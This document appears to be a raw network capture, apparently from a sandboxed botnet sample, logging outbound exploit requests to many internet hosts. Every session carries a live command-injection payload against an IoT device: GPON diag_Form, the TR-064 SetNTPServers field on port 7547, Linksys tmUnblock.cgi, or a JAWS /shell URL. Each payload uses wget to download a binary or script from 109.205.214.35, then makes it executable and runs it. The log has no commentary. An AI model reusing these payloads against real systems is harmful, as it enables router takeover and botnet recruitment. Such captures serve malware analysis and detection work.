Mar 21, 2024 05:25:57.124223948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.23	35864	2.191.0.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124281883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.23	32776	46.138.241.167	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.927527905 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:58.147696018 CET	129	IN	HTTP/1.0 503 Service Unavailable Content-type: text/html Date: Thu, 21 Mar 2024 07:25:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.23	43894	186.138.198.149	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.961714983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.23	45602	223.133.107.197	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.010715961 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.539525986 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.824157953 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.23	60224	177.192.228.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.187607050 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.23	43944	186.138.198.149	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.235285044 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.23	37358	158.58.119.71	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.235399008 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.088254929 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:00.751934052 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:04.207468987 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:10.862517118 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:24.173538923 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:52.076754093 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.23	49898	34.149.26.0	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.254870892 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:25:58.548887968 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.23	60244	177.192.228.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.405189037 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.23	47142	124.54.80.19	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.447854042 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:58.734241009 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:25:58 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.23	55826	121.254.156.199	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.477997065 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:58.774215937 CET	439	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.23	37378	158.58.119.71	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.487484932 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.248322964 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:00.786307096 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:03.955537081 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:10.094609022 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:22.380934000 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
